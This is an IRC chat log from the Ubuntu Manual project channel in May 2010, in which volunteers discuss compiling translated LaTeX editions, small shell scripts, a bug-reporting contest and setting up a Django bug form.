 * ubuntujenkins has made a tin foil blind to help keep his room cool
<c7p> godbyk: http://typewith.me/rE4pCABOXs that's some thing that i have thought, make any changes you want :). If anyone find some mistakes on the use of language feel free to correct them :)
<godbyk> c7p: thanks for starting the notes!
<c7p> godbyk: no problem, my pleasure :D
<flan> I read that as a "tin foil hat", initially.
<ubuntujenkins> I could make a tin foil hat....
<flan> You should.
<ubuntujenkins> I have
<Zeike> I've sent a message to the mailing list
<flan> 'Kay. Sorry nobody directly related dropped by while you were waiting. :(
<flan> I'm sure it'll get a resonse soon, though.
<Zeike> its no problem
 * ubuntujenkins is having an evening off and making progress on the quickshot ui
 * godbyk is compiling a ton of libraries and other prereqs so he can attempt to compile the code he's to be working on.
<godbyk> It's taking FOREVER.
<dutchie> hmm
<dutchie> this is not good
<godbyk> No one bothered to write instructions.
<dutchie> Â£30 appears to have disappeared into the ether
<godbyk> So I'm learning which dependencies are needed with the help of compiler and linker errors.
<dutchie> godbyk: wouldn't it be easier to read the code?
 * godbyk plucks Â£30 out of the ether.
<godbyk> dutchie: way too much code to just read through.
<dutchie> paypal says the transfer to my bank account has completed, but it has not appeared there
<dutchie> godbyk: find -name '*.[ch]' | grep '#include'
<dutchie> job done :)
<dutchie> assuming C/C++, of course
<godbyk> dutchie: ack -h "#include" | sort -u | wc -l  # =1271
<dutchie> put a "| sort | uniq | less" on the end then
<dutchie> :P
<dutchie> or does sort -u do that?
<dutchie> ah, yes
<godbyk> sort -u makes it uniq
<dutchie> just a | less then :)
<dutchie> grep -v '#include ".*"'?
<godbyk> dutchie: 1146 if I grep -v '#include "'
<dutchie> impressive
<godbyk> That's one word for it. :)
<godbyk> dutchie: http://code.google.com/p/vrjuggler  if you want to have a poke around.
<dutchie> godbyk: http://code.google.com/p/vrjuggler/wiki/BuildingFromSvn?
<godbyk> dutchie: Yeah, that's my hell.
<godbyk> I've built it countless times before.
<godbyk> Apparently, there's a bug in one of the configure scripts at the moment.
<dutchie> nice
<godbyk> bash doesn't like: if test "x$os_type" = "xWin32"; then INSTALL="blah"; else; fi
<godbyk> I think the empty else branch is freaking out bash
<godbyk> I've sent them patches to fix their scripts before.
<godbyk> <grumble>
<godbyk> I'm gonna pull the branch instead of the tag and see if they've fixed it.
<dutchie> aren't you at iowa state?
<godbyk> yep
<godbyk> which is the only reason I'm stuck using this POS framework. :)
<godbyk> dutchie: the 2.2 branch has a different configure-related bug than the 2.2.1 tag does.
<godbyk> fml
<c7p> godbyk: I have made the proper changes on the tex file regarding the index. The "problem" is that i have always some issues with the index on the compiled pdf. The index doesn't exist on the pdf
<godbyk> c7p: Ah, right. Because you have run another program to create the index.
<godbyk> I'll write a small script for you to use to compile your .tex file (without deleting it).
<c7p> godbyk: don't bother if it takes time
<godbyk> it won't take but a moment.
<godbyk> just copy and paste a few lines from the makefile.
<c7p> ok then :)
<ubuntujenkins> night all
<c7p> night ubuntujenkins
<c7p> night all
<godbyk> G'night, c7p.
<godbyk> I'll email this script when I get it finished.
<godbyk> (I keep getting distracted.)
<c7p> take you time :P it's not even our priority this script, I only have this problem so no big deal :)
<godbyk> The script works, I'm just trying to get it to nicely colorize the output ('cause I'm picky that way). :)
<c7p> godbyk ok :D, cu tomorrow
<godbyk> see ya
#ubuntu-manual 2010-05-22
<ChrisWoollard> dutchie: ping
<ChrisWoollard> Ok..... It is late...... I am very tired..... I am going to bed.
<ChrisWoollard> Thank you all for your help today.
<godbyk> see ya, ChrisWoollard
<Zeike> humphreybc, hello!
<ubuntujenkins> morning o/
 * ubuntujenkins has rouged out 5/8 windows for quickshot. Then I have to make them look pretty
<ubuntujenkins> and i am having rough logo ideas
 * vish looks around , cant find the kiwi :s
 * ubuntujenkins feels like eating a kiwi fruit
 * thorwil adds malay, swedish and russian title page SVGs
<thorwil> godbyk: i will try to generate 2nd edition SVGs via search and replace. including making "Second Edition" visible, but that string needs translation afterwards
<thorwil> godbyk: i'm considering to not tweak the files for those translations that look like they will never get done, but still commit the files
<thorwil> what's a good tool for multiple line search and replace?
<thorwil> godbyk: japanese and hebrew are our only right-to-left translations?
<thorwil> wanted: tool to apply the diff of one set of files to a bunch of files that are not guaranteed to have the matches on the same line numbers
<ubuntujenkins> thorwil: and arabic
<ubuntujenkins> right to left
<thorwil> ubuntujenkins: thanks
<thorwil> godbyk: Arabic (ar) is broken, as it uses the normal template. i will fix the SVG manually.
<godbyk> I'm awake now.
<godbyk> thorwil: Ah, okay. The database I created with all those attribute (the sqlite db in the titlepages/ dir) only has a few entries.  It's definitely incomplete and nonexhaustive.
<dutchie> it's getting quite warm here
<godbyk> It's supposed to get quite warm here, too, this week.
<Surst> hey
<godbyk> Hello, Surst.
<Surst> anybody who can help me with formatting the german version rigth?
<godbyk> Surst: Sure. What problems are you having?
<Surst> for example, on page 8 is some text running out of the site
<godbyk> Ah, gotcha.
<godbyk> Before we start fixing the formatting, have all the translations been verified as correct?
<godbyk> (Once we start the formatting process, all the translations must be done in the .tex file directly -- we can't import from launchpad anymore.)
<Surst> well, this won't be a problem, I'm the only person whos actually working on the manual, if there are bugs in the translation, I could add them directly
<godbyk> Okay.
<godbyk> Let me update the translations in the bzr repository real quick.
<Surst> can you describe me in short the process, whats expecting me?
<Surst> ok
<godbyk> Have you installed TeX Live 2009 from upstream?
<godbyk> Surst: The next step will be to generate the .tex file.  Then all of your work from that point forward will be in editing the .tex file.
<godbyk> Most of the work will be in moving the \marginnote{...} text around so that it's in the right place and isn't falling off the page.
<Surst> nope, I'm using the version in 10.04 and added the ccicons by hand
<godbyk> Okay. That may or may not work.  I haven't tested it for a while.  We'll give it a shot, though.
<Surst> ok
<godbyk> I've requested the translations from Launchpad. It takes a few minutes.
<godbyk> But I will send you an email what I've updated the translations with some instructions.
<godbyk> The shorthand version is that you'll run 'make ubuntu-manual-de.tex'.  Then you'll be editing the .tex file from then on.
<godbyk> (You will want to commit the .tex file to the bzr repository, too.  Running 'make ubuntu-manual-de.pdf' will delete that .tex file, so don't do that. :-))
<godbyk> I'll email you a script you can use to compile the PDF.
<Surst> cool, merci :)
<godbyk> So far the only other translation that's gotten this far is the Greek one.
<godbyk> So we're entering uncharted territory.  Things may get a little bumpy. :)
<Surst> no problem, I like that :)
<godbyk> You say that now... ;-)
<Surst> ah, problems are there to be solved ;)
<Surst> an the more we do, the less have others to do :)
<godbyk> That's true.
<godbyk> Here's a pad that we're keeping notes on for making this process easier as we go along: http://typewith.me/rE4pCABOXs
<godbyk> Hey, thorwil
<Surst> another question (I already mentioned on the mailing-list): We need to change the quotationmarks the \application-command creates
<thorwil> hi! made a bicycle tour with perfect conditions :D
<godbyk> thorwil: I just realized that we'll also need to create letter-size title pages for the translations (for the print editions).
<godbyk> awesome!
<godbyk> Surst: Okay. I'll take a look at that.  I thought I had done that for the German translation, but perhaps I just imagined it.
<godbyk> (Too many translations!) :)
<godbyk> okay, Surst. I've updated the translations in bzr.  if you run 'bzr pull' you should get them.
<Surst> godbyk: no problem, just wanted to mention it
<thorwil> godbyk: we'll put every translation on lulu?
<godbyk> Surst: then you'll want to run 'make ubuntu-manual-de.tex'.  that'll generate the .tex file that you'll be editing.
<godbyk> thorwil: I s'pose.  And lulu doesn't seem to offer A4.
<Surst> godbyk: done
<thorwil> godbyk: if lulu is that international and the prices make sense ...
<godbyk> thorwil: oh, wait, it looks like they may offer A4. one moment.
<thorwil> godbyk: so what's ready now, besides english (where we have one title page for UK, US, AU)?
<godbyk> Surst: once you've created the .tex file, you'll want to open it in a text editor.  your first task will be to move the \marginnote{...} stuff so that the \marginnote command starts on the line in the main text that the note refers to.
<godbyk> the \marginnote{} should not be in its own paragraph.
<godbyk> thorwil: Looks like German and Greek are next up.  Give me a moment to verify the A4/Lulu thing, though.
<godbyk> thorwil: It looks like they do offer it for the standard paper.
<godbyk> (When I looked earlier, it must've been set to publisher grade paper.)
<thorwil> godbyk: no hurry. just send me an email with the required measurements for each translation that is ready for lulu, whenever the time comes
 * thorwil hits the shower
<godbyk> thorwil: Will do.  Once we get the final page count, I'll get you the dimensions for the wrap-around covers, too.
<Surst> godbyk: How to tell xelatex, to use the pictures in the rigth language?
<godbyk> Surst: Ah, I forgot. At the top of the .tex file you can change the polang from en_US to de.
<godbyk> I'll email you a script in a moment that'll take care of that for you.
<godbyk> Surst: I've emailed you the script.  Save it to the manual directory and run 'chmod 755 compile-de.sh'. Then run './compile-de.sh' to make the PDF.
<Surst> ok, merci :)
<Surst> godbyk: the script is running in a endless-loop
<godbyk> It shouldn't run in a loop at all, though it does run the xelatex program 5-6 times. It may take a few minutes to finish.
<Surst> ah, good to know
<Surst> well, thought that 3 times would be enough, my mistka
<Surst> why so often?
<godbyk> The glossary adds another couple runs.
<godbyk> And I may have thrown in one or two more just to be safe. :)
<Surst> :-D
<Surst> so, if I just want to have a quick look, if all is alright, running the xelatex-command once by myself should be enough
<Surst> I just get no references, right?
<godbyk> Surst: yep, that'll work.
<godbyk> some of the cross-references won't be updated properly, but if you're just looking at the layout, it'll show you the updated text and positioning of the marginnotes, for instance.
<Surst> that's important atm
<Surst> ok, thank you so far
<Surst> now I know, what I'll be working on this weekend :)
<godbyk> Me, too. :)
<Surst> goodbye :)
<c7p> we have no meeting today, right?
<godbyk> c7p: Not that I'm aware of.
<ubuntujenkins> in http://paste.ubuntu.com/437936/ how would i search for "name: <alsa_card.usb-Logitech_Logitech_USB_Headset-00-Headset>" and then read the number that is in the line above in this case it is 2 but it changes each time i plug my headset in.
<godbyk> lemme look
<godbyk> ubuntujenkins: it's probably easier to parse /proc/asound/cards
<godbyk> something like this:
<ubuntujenkins> godbyk: not sure on that as i need the number for a pacmd commad
<ubuntujenkins> i have grep "name: <alsa_card.usb-Logitech_Logitech_USB_Headset-00-Headset>" -B 1 . I just need to read the first number on that
<godbyk> what cmd generated that output?
<godbyk> lemme verify it first, then I'll give you the command.
<ubuntujenkins> pacmd list-cards
<godbyk> ah, they don't line up.
<godbyk> okay here's the command:
<godbyk> pacmd list-cards | grep "alsa_card.usb-Logitech_Logitech_USB_Headset-00-Headset" -B1 | grep index | awk '{ print $2; }'
<godbyk> that'll return '2' in your case
<ubuntujenkins> yey thanks godbyk, now to write the udev rule to make this work
<godbyk> can't you write the udev rule based on the USB device ID instead? (Might be easier.)
<ubuntujenkins> the udev rule will be biased on the usb id but, when it is plugged in it needs to set the headphones to my output and the mic to the input. Also turning up the volume in alsamixer
<dutchie> i hope there is a bug report you're documenting this in...
<ubuntujenkins> I might do when i am finished i suppose. the audio comes out of the headset but adjusting the volume doesn't work
<godbyk> gotcha.
<ubuntujenkins> and the mic is not selected which i have to set as well.
<godbyk> ha! my mom just left me a voicemail. "I just upgraded Ubuntu and now I can't move the X, the dash, and the box to the other side of the toolbar. Help!"
<ubuntujenkins> hehe
<godbyk> Now I have to decide whether I should tell her to just get used to it (welcome to the future!), pick a theme that has the buttons on the right, or walk her through the gconf stuff.  Suggestions?
<ubuntujenkins> hmm. get use to it is my favorate option. but theme is the easiest
<godbyk> yeah, I'm thinking 'get used to it' may be better for the long-run.  if they're going to put windicators and who-knows-what-else on the rhs.
<ubuntujenkins> good point i forgot the windicators
<godbyk> brb. gonna give her a call.
<ubuntujenkins> there is a problem with the comman kevin if i run http://paste.ubuntu.com/437958/ it returns
<ubuntujenkins> 2
<ubuntujenkins> and an empty line
<ubuntujenkins> how do i remove the empty line?
 * dutchie will carry out an experiment with his dad soon
<dutchie> i will upgrade his computer from 8.10 to 10.04 and leave him with the manual
<dutchie> we will see what happens
<ubuntujenkins> I have told my sister that when she gets her laptop she is being given the manual and a live cd
<ubuntujenkins> I am not helping her
<c7p> hey godbyk I've sent you an email, have you checked it?
<godbyk> back now.
<godbyk> ubuntujenkins: what blank line?  should just be "2" on its own line.
<godbyk> c7p: yeah, I did.  When you say 'nothing appears', what do you mean by that?
<godbyk> If you email me the translations you put in for the REVISION_ stuff, I can try it here.
<ubuntujenkins> when run the commands in http://paste.ubuntu.com/437958/ on the command line i get a blank line after the 2. I think thats causing the variable assignment not to work.
<godbyk> as for the small caps, it may be that there aren't small caps for the Greek letters. I'll look into it.
<godbyk> ubuntujenkins: remove the space after the = and see if that helps
<c7p> godbyk: ok i will email you the translations
<godbyk> also, you need to wrap it in $( and )
<godbyk> ubuntujenkins: so: speakers=$(pacmd list-cards | grep "alsa_card.usb-Logitech_Logitech_USB_Headset-00-Headset" -B1 | grep index | awk '{ print $2; }')
<ubuntujenkins> ok that works thanks godbyk
<ubuntujenkins> yey now i have a script that works. just to write the udev rule.......
<ubuntujenkins> after revision
<godbyk> c7p: A couple things: 1. make sure that your translated text is in quotation marks and remove the space around the equals sign.  It should look something like: REVISION_NUMBER="ÎÎ¡ÎÎÎÎÎ£_ÎÎÎÎÎÎÎ¡ÎÎ£ÎÎ£"
<godbyk> c7p: 2. The text should be in sentence case -- that is, the first word is capitalized, but the remainder are lowercase.
<c7p> godbyk: ok, I'm compiling the pdf now and I will tell you the results
<godbyk> 'kay.
<c7p> godbyk: now there are is no numbers and words regarding these two, brb
<c7p> godbyk: that's the lines if you want to check them REVISION_NUMBER="ÎÏÎ¹Î¸Î¼ÏÏ Î±Î½Î±Î¸ÎµÏÏÎ·ÏÎ·Ï"
<c7p> REVISION_DATE="ÎÎ¼ÎµÏÎ¿Î¼Î·Î½Î¯Î± Î±Î½Î±Î¸ÎµÏÏÎ·ÏÎ·Ï", brb
<godbyk> okay. I'll try it here.
<godbyk> c7p: Ah, bzr doesn't like non-ASCII stuff.  Not a problem. I'll have the script do it another way and send you a new script in a few minutes.
<godbyk> c7p: I've sent you the new script.
<godbyk> brb
<godbyk> back now
<thorwil> your backness shall be noted, laid down to history in this humble log
 * ubuntujenkins adds his struggling to understanding how to do the mechanics question to the log
<dutchie> yay, mechanics
<dutchie> i have a differential equations exam on monday :(
<ubuntujenkins> a whole exam on that ouch!
<ubuntujenkins> good luck :)
<godbyk> You mechanical engineers.. all you do is sit around and manipulate matrices.. you don't fool me!
<ubuntujenkins> what ever :P we do hard stuff
<godbyk> Whatever you wanna tell yourself... ;-)
<thorwil> i'm so clever :/  replacing the wave of friends with version that takes the geometry from the new logo, i now have to match the same spacing between the dots, or i would have to shift everything in all title page files
<godbyk> heh
<godbyk> I think I'm going to sit across the room and read a book for a bit. Feel free to ping me if you need something.
<c7p> back
<c7p> godbyk: I'm testing it now
<godbyk> k
<c7p> godbyk: yeah now the revision stuff is printed
<c7p> godbyk: but not the index :)
<godbyk> c7p: Run: xindy -C utf8 -M texindy -L greek ubuntu-manual-el.idx
<godbyk> and tell me if it prints an error msg
<c7p> godbyk: nope :) everything looks fine
<godbyk> you should get an index in your pdf, then.
<c7p> godbyk: :O yes there is an index, i need vacations ...
<godbyk> ah, okay. :)
<c7p> could the revision date be printed on the next line ?
<godbyk> We could if we needed to.  Is it too crowded on the one line?
<c7p> yes
<godbyk> okay, I'll make a note and fix that later.
<c7p> ok
<c7p> message from topo: Should the "Bera Mono" font replaced with the "DejaVuSansMono" on the colophon ?
<godbyk> Hmm.. probably. I'll add that to my list.
<c7p> so i don't have to make any changes on the tex file
<godbyk> Not at the moment.
<godbyk> I
<godbyk> I'll have to look into the font and write some text for you to translate first.
<c7p> ok
<dutchie> godbyk: did you file a bug re: lp eating the translations?
<godbyk> dutchie: nope.  not sure what to say about it, really.
<godbyk> the original problem we had (during UDS) is a known bug, apparently.
<godbyk> (I don't have a bug number, though.)
<ChrisWoollard> I filed this https://bugs.edge.launchpad.net/launchpad/+bug/584035
<dutchie> what about the one ChrisWoollard is seeing now?
<dutchie> ah
<ChrisWoollard> That isn't the original bug.
<ChrisWoollard> I just filed that yesterday
<dutchie> right, i'll subscribe the team
<ChrisWoollard>  hope they fix it. It is really annoying
<dutchie> yes
<ubuntujenkins> night all
<ChrisWoollard> Night all.
<c7p> night ChrisWoollard
<c7p> night all
<daker> godbyk, ping
<godbyk> daker: pong
<daker> have you heard about zeditor ?
<godbyk> nope
<daker> www.siteduzero.com
<daker> it's a frensh website which contains tutorials
<daker> and the member uses en editor called "Zeditor"
<daker> an XUL app
<godbyk> cool
<daker> http://www.siteduzero.com/tutoriel-3-61374-guide-d-utilisation-de-zeditor.html
<daker> you can see screenshots there
<godbyk> neat.
<godbyk> we'll have to keep something like that in mind.
<daker> yeah
<daker> godbyk, ubuntu.com will get updates or not ?
<godbyk> ?
<daker> they will change the design ?
<godbyk> yeah, they're supposed to.
<daker> :D
 * daker is playing PACMAN on google homepage
#ubuntu-manual 2010-05-23
<humphreybc> how do I run .run and .bin files?
 * humphreybc grimaces... just starting the object oriented part of python
<godbyk> http://twitpic.com/1pv13q
<godbyk> Gotta love Google Alerts.
<humphreybc> okay, i'm going to give up about 4 hours of my study time tonight to do some work on UMP. What needs doing?
<humphreybc> :O
<humphreybc> DAKER!
<humphreybc> "The website atÂ ubuntu-manual.orgÂ contains elements from the siteÂ karenearly.com, which appears to host malware â software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer."
<flan> Need help with Python stuff, humphreybc?
<humphreybc> flan: heh, not just yet. but i will all next week :P
<humphreybc> i'm currently setting up a competition for the manual called "Show us ya bugs!"
<flan> I'll try to be available, then.
<humphreybc> help me define a bug in one sentence :)
<flan> In terms of what?
<humphreybc> the manual
<flan> Software or documentation?
<humphreybc> "A bug is an unintentional grammatical, formatting, factual or consistency error present in the final version of the manual."
<flan> Are we using the serial (Oxford) comma?
<humphreybc> yes
<flan> Then your definition contains a bug.
<humphreybc> where?
<humphreybc> after error?
<flan> "factual[,] or consistency"
<humphreybc> okay
<humphreybc> have a quick look
<humphreybc> http://humphreybc.wordpress.com/2010/05/23/show-us-ya-bugs/
<flan> You might want to consult the style guide first, though.
<humphreybc> before i repost it all over the net
<flan> I haven't actually read it yet.
<flan> So it's possible that use of the serial comma is not encouraged.
<humphreybc> i know godbyk loves serial commas
<flan> As do I.
<flan> error[-]free
<flan> Is "Lucid 2nd edition" how you want to informally brand the revision efforts?
<humphreybc> something like that
<flan> The title in the first step should be a link to the download page, if such a link is possible.
<humphreybc> http://ubuntu-manual.org/download/10.04/en_US/screen
<humphreybc> does that link work for you?
<flan> Yep.
<humphreybc> you think 10 confirmed bugs is a good number?
<flan> Dunno. How many do you think we have?
<humphreybc> and is it a good enough reward?
<flan> (I've, unfortunately, been more focused on the technology in the background)
<humphreybc> godbyk had a pretty epic comb of it a few days before it was released
<humphreybc> and he's a real grammar nazi. I'd say we have about 100 bugs in the entire thing
<flan> That reward seems like it'd lure the Wikipedia-troll types.
<flan> Who are probably what we need for something like this.
<humphreybc> I'd love to offer T Shirts or something, but I can't afford that
<humphreybc> so can I post it on OMG and facebook and twitter and go have some dinner now?
<flan> You could probably leave out the "that are confirmed" part.
<humphreybc> well people might think that the 10 includes ones that aren't confirmed, or duplicates
<humphreybc> they need to report 10 bugs that are unique, not duplicates and are confirmed
<flan> Unique rules out duplictes...
<humphreybc> I meant unique as in the bug itself
<humphreybc> if that makes sense
<humphreybc> cm'on i'm hungry, enough talking, can I repost it all over the tubes and be done?
<flan> Yeah, probably.
<flan> It makes sense to me.
<humphreybc> as long as no one is going to poke some major hole in the competition
<flan> A few minor sticking points, but those may be dialectal in nature.
<flan> They don't implede understanding.
<humphreybc> let the bugs flow in
<quickshotdevs> New news from manualplanet: Benjamin Humphrey: Show us ya bugs!
<humphreybc> lol!
<humphreybc> right, i'm gonna cook some dinner
<humphreybc> I think tonight i'll work on fixing the instructions on the site
<dutchie> humphreybc: ping
<humphreybc> kia ora
<dutchie> for the bug form, i could do with having a launchpad account that can submit bugs
<dutchie> i thought it'd be nice to have it belonging to one of the personas
<humphreybc> that sounds like a nice idea
<humphreybc> do you want me to make the launchpad account?
<dutchie> if you want
<humphreybc> righto
<dutchie> ooh, new gettext release, with faster msgmerge
<humphreybc> Lola Ferrari now has a gmail account
<humphreybc> now for launchpad
<ubuntujenkins> humphreybc: should we unasign the team as bugmail contact? To avoid all of the spam for a bit
<humphreybc> yes
<humphreybc> could you please do that?
<humphreybc> (if you can)
<ubuntujenkins> i will try
<ubuntujenkins> humphreybc: I can't go to https://bugs.edge.launchpad.net/ubuntu-manual/+subscribe and you can do it
<humphreybc> kk
<ubuntujenkins> i unset the team as bug supervisor as well. not sure if it was needed
<daker> hello @all
<humphreybc> hey daker
<humphreybc> daker: http://media.joshh.co.uk/Screenshot.png
<daker> what's this
<ubuntujenkins> ouch i get that too
<ubuntujenkins> chrome thinks our site is malware
<daker> probably
<ubuntujenkins> fine in frefox
<ubuntujenkins> it looks like we cna use webmaster tools to work out whats wrong. but you have to verify its your site so we may have to get godbyk to do it
<daker> webmaster tools ? a google tool ?
<ubuntujenkins> hey the website works again. yes it is a google tool
<daker> we already use the webmaster tools
<daker> and the site is verified
<ubuntujenkins> hmm
<humphreybc> apparently Full circle magazine has released episode 7 of their podcast with the 2nd half of my interview
<ubuntujenkins> does it tell us why/what parts are the same as the malware site?
<dutchie> godbyk: ping
<humphreybc> dutchie: i think he's asleep, now that he has a job he has to adhere to regular hours lol
<dutchie> yeah, probably
<dutchie> stupid spread out team
<dutchie> everybody should just use british time
<humphreybc> hahaha
<humphreybc> go ask Mark if we can have an office somewhere
<dutchie> i've got a spare room
<humphreybc> lol
<daker> ubuntujenkins, you should ask godbyk
 * humphreybc imagines 12 of us squeezing into dutchies house
<ubuntujenkins> ok i will when i see him next
<flan> Looks like humphreybc's campaign is working.
<ubuntujenkins> yep we took the team off of the bug mail to avoid spamming people
<godbyk> I'm here now.
<godbyk> I saw that problem with the site yesterday.
<godbyk> I glanced at the code and didn't see anything on that particular page that looked evil.
<godbyk> Then I refreshed and Google didn't alert me.
<godbyk> So I assumed it was just a fluke on their part.
<godbyk> I'll look at the webmaster tools and see what they tell me.
<godbyk> Currently says, "Google has not detected any malware on this site." in the webmaster tools site.
<windsor_> Hi Everybody, I'm trying to help with the Ubuntu Manual
<godbyk> Hey, windsor_, that's great! We're glad of any help we can get. :)
<windsor_> great! so I went to the Ubuntu manual website, and I followed the instructions
<nisshh> godbyk: is there anything i can do, im extremely bored right now
<windsor_> I'm looking to become an editor for the project
<windsor_> so I went to http://ubuntu-manual.org/getinvolved/editors
<godbyk> nisshh: Well, we need to start working on the second edition soon. So if you want to read through the manual and file bugs, that'd be helpful.  You can also go through our bug spreadsheet and see which bugs have been reported that we didn't get fixed.
<windsor_> and followed all the instructions
<windsor_> I'm a beginner at the command line btw
<nisshh> godbyk: ok, will do
<godbyk> windsor_: No worries. Once you get the initial setup finished, you can generally avoid the command line.
<windsor_> ok great
<windsor_> my question is...
<windsor_> I don't know how to use all of the software and stuff I just installed
<windsor_> there aren't any instructions
<nisshh> godbyk: btw when is my chapter getting removed? for maverick or for e2?
<godbyk> windsor_: You're right. We need to write some instructions for that.
<godbyk> windsor_: Right now, we could use some help in finding bugs in the manual we just released so we can fix them in the upcoming second edition.
<godbyk> windsor_: So for the moment, you can read through the existing manual and file bugs in Launchpad at https://bugs.launchpad.net/ubuntu-manual
<godbyk> windsor_: We'll start editing the files soon and I'll try to have some instructions written by then.
<nisshh> godbyk: also, can i have the link to the spreadsheet login? i have lost my bookmark for it
<windsor_> Nice! Thanks for your help godbyk!
<godbyk> nisshh: Which chapter is that?  I think adding/removing chapters will happen in the Maverick release.  The second edition is there only to fix bugs, really.
<godbyk> windsor_: No, thanks for *your* help. :)
<nisshh> godbyk: right, i meant the command-line chapter
<godbyk> nisshh: Sure, let me dig it up.  Can you access it from docs.ubuntu-manual.org?
<godbyk> nisshh: Ah, right. I think we'll look at that in the maverick release.
<nisshh> godbyk: dunno, didnt know we could do that
<godbyk> The magic of Google Docs. :)
<nisshh> yea
<nisshh> godbyk: hmmm, is someone able to reset my password? it doesnt seem to like it
<godbyk> nisshh: I can if you need me too.  One moment.
<nisshh> ok, thanks
<windsor_> I'll be signing out now, I hope to be more involved in Launchpad in the future.  I guess I'll start proofreading the manual! XD Thanks again. Bye
<nisshh> damn, i really need to sort out my desktop
<godbyk> nisshh: you know your username is your first name, right?
<nisshh> messy as hell
<nisshh> godbyk: oh, right...
<godbyk> windsor_: Thanks!  See ya later.
<nisshh> godbyk: hmm, did you reset my password?
<godbyk> nope.
<nisshh> meh ok hang on
<godbyk> 'kay.
<godbyk> if you need me to, just holler.
<godbyk> also, what the heck did you guys do with all the bugs while I was away?  so much bug email! :)
<nisshh> godbyk: its all good, had to find the right password
<godbyk> nisshh: 'kay
 * nisshh bookmarks that page before he forgets
<nisshh> godbyk: there are maybe 20-40 unfixed bugs in the spreadsheet, 5-6 of them are for me to put in the glossary though
<nisshh> godbyk: scratch that, there are atleast 65 unfixed
<nisshh> godbyk: do you think adding more glossary entries is within the scope of e2?
<godbyk> nisshh: Yeah, I think we should improve the glossary and index quite a bit for e2.
<nisshh> godbyk: right, i should start work on the glossary sometime
<nisshh> next week
<godbyk> I should go through the manual and mark up things we need to add to the glossary and index sometime.
<godbyk> Hmm.. https://bugs.launchpad.net/ubuntu-manual/+bug/584433
<godbyk> My response seems disproportionately long compared to the issue. :-)
<nisshh> yes, maybe we should add a note on the website or wiki somewhere about submitting proposed glossary and index entries?
<dutchie> ah, godbyk, just the man
<godbyk> I'll email the list.
<godbyk> Hey, dutchie. What's up?
<godbyk> Why's Google hate us?
<dutchie> i think we may be ready to stick the bug form up on ubuntu-manual.org
<nisshh> dutchie: oooh, a bug form?
<godbyk> Sweet.
<godbyk> Where did all these bugs come from anyway?
<godbyk> (The ones that just landed in my inbox overnight.)
<nisshh> like, instead of the google docs one we have now?
<dutchie> humphreybc made a thingy
<nisshh> godbyk: check humphreybc's blog
<dutchie> http://humphreybc.wordpress.com/2010/05/23/show-us-ya-bugs/
<nisshh> yea
<godbyk> Aha! That'd explain it. :)
<godbyk> This Andrew guy is even submitting patches!
<dutchie> godbyk: so anyway, what OS is the server running?
<godbyk> dutchie: It's running Debian.
<dutchie> debian what?
<dutchie> please say lenny
<nisshh> unstable?
<dutchie> actually, that doesn't matter
<dutchie> what is the version of the python-django package?
<nisshh> actually, iv been wanting to try out debian
<nisshh> its a cool distro
<godbyk> dutchie: good question. let me see if I can find out.
<nisshh> godbyk: what other cool secrets does the website hold that i dont know about yet?
<godbyk> one moment.
<godbyk> dutchie: /etc/debian_version reports 4.0.
<dutchie> in that case, http://www.djangoproject.com/download/1.1/tarball/
<godbyk> dutchie: the system-wide install of it is: 1.1.1-1
<dutchie> ooh
<dutchie> never mind then
<godbyk> but we can install our own copy to my local home dir
<dutchie> of django?
<godbyk> $ dpkg -s python-django
<godbyk> Package: python-django
<godbyk> Status: install ok installed
<godbyk> Priority: extra
<godbyk> Section: python
<godbyk> Installed-Size: 17936
<godbyk> Maintainer: Andrew Farmer <andrewf@lenny64-packager>
<godbyk> Architecture: amd64
<godbyk> Version: 1.1.1-1
<godbyk> Depends: python, python-support (>= 0.2), python-mysqldb
<godbyk> Description: Django is awesome. You should use it.
<godbyk>  Now with 100% more ponies!
<godbyk> well, generally, I can compile software and set environment variables to coerce apache into using my custom versions of things if I want.
<godbyk> (though if I can avoid it, I will.)
<dutchie> the system install is fine
<godbyk> cool
<dutchie> the branch is lp:ubuntu-manual-website/bug-form
<dutchie> but don't download it yet
<dutchie> :)
<godbyk> heh.. duly noted. :)
<dutchie> run "django-admin startproject ump", which will create a ump directory with django-y stuff in it
<dutchie> put it in ~ somewhere away from where web stuff is server
<dutchie> served*
<godbyk> uh, 'kay.
<dutchie> oh god, have to go
<dutchie> will resume later
<godbyk> 'kay.
<nisshh> godbyk: is the e2 branch all good to make changes to? id like to add some glossary stuff tommorrow
<godbyk> nisshh: I *think* so.
<nisshh> godbyk: ok, cool
<nisshh> ill let you know if it doesnt compile :)
<godbyk> please do. :)
<nisshh> godbyk: if you have a minute can you give me a quick rundown on what subdomains the ump website has and what i can do on there, etc
<nisshh> i may find some of it useful
<nisshh> the only ones i know of are files and docs
<godbyk> sure. let me pull up the list.
<nisshh> ok
<godbyk> well, there's also mail and calendar (which point to the google stuff)
<godbyk> builds -> draft copies of the PDFs of translated editions of e1
<godbyk> quickshot -> nothing there yet.
<godbyk> screenshots -> shows which screenshots we still need to take
<godbyk> stats -> our stats page; currently broken.
<nisshh> i assume there will be a bugs one for the bug form later on?
<godbyk> test -> our test site; currently a mirror of the production site.
<godbyk> probably, yeah.
<nisshh> hmm, this is good to know
<nisshh> what tends to happen with me is i zone out for a week or so and when i come back i have to update with the latest happenings :)
<godbyk> I hear ya.
<thorwil> so flan is working with pylons, but dutchie uses or intends to use django?
<nisshh> we are going to need to get cracking on e2 soon if we are to get it perfect and pristine
<windsor_> hi godbyk, I filed my first bug but I'm not sure if it's in the right place
<windsor_> I filed it in bugs under  "Ubuntu Manual", even though I joined the team "Ubuntu Manual Team"
<windsor_> could someone please check if bug #584592 is in the right place?
<nisshh> windsor_: sure hang on a sec
<nisshh> windsor_: even if you put it in the wrong place, its no big deal :)
<windsor_> XD ok
<windsor_> I just hope you guys can find it ;)
<nisshh> windsor_: nope, thats fine, just file all your bugs there
<windsor_> OK awesome. Thanks a lot nisshh
<nisshh> windsor_: yea, your doing a great job!
<nisshh> no probs
<windsor_> thanks =D glad to be of help
<windsor_> bye for now
<nisshh> see ya!
<godbyk> thorwil: I have no idea. I'm just a bystander there. :)
<dutchie> godbyk: right, back
<dutchie> how far did you get?
<godbyk> didn't even start.
<godbyk> figured I'd wait for your return. :)
<dutchie> :)
<godbyk> with all these bug reports I feel like I may be spending time arguing about commas. :-/
<dutchie> so, django-admin startproject ump
<godbyk> okay, so will that create a directory? or do I need to create a directory first?
<godbyk> it should be outside the web stuff, I presume.
<dutchie> that will create a directory
<dutchie> yes
<godbyk> do we want it named ump or umpbugs or something more explanatory?
<dutchie> just ump
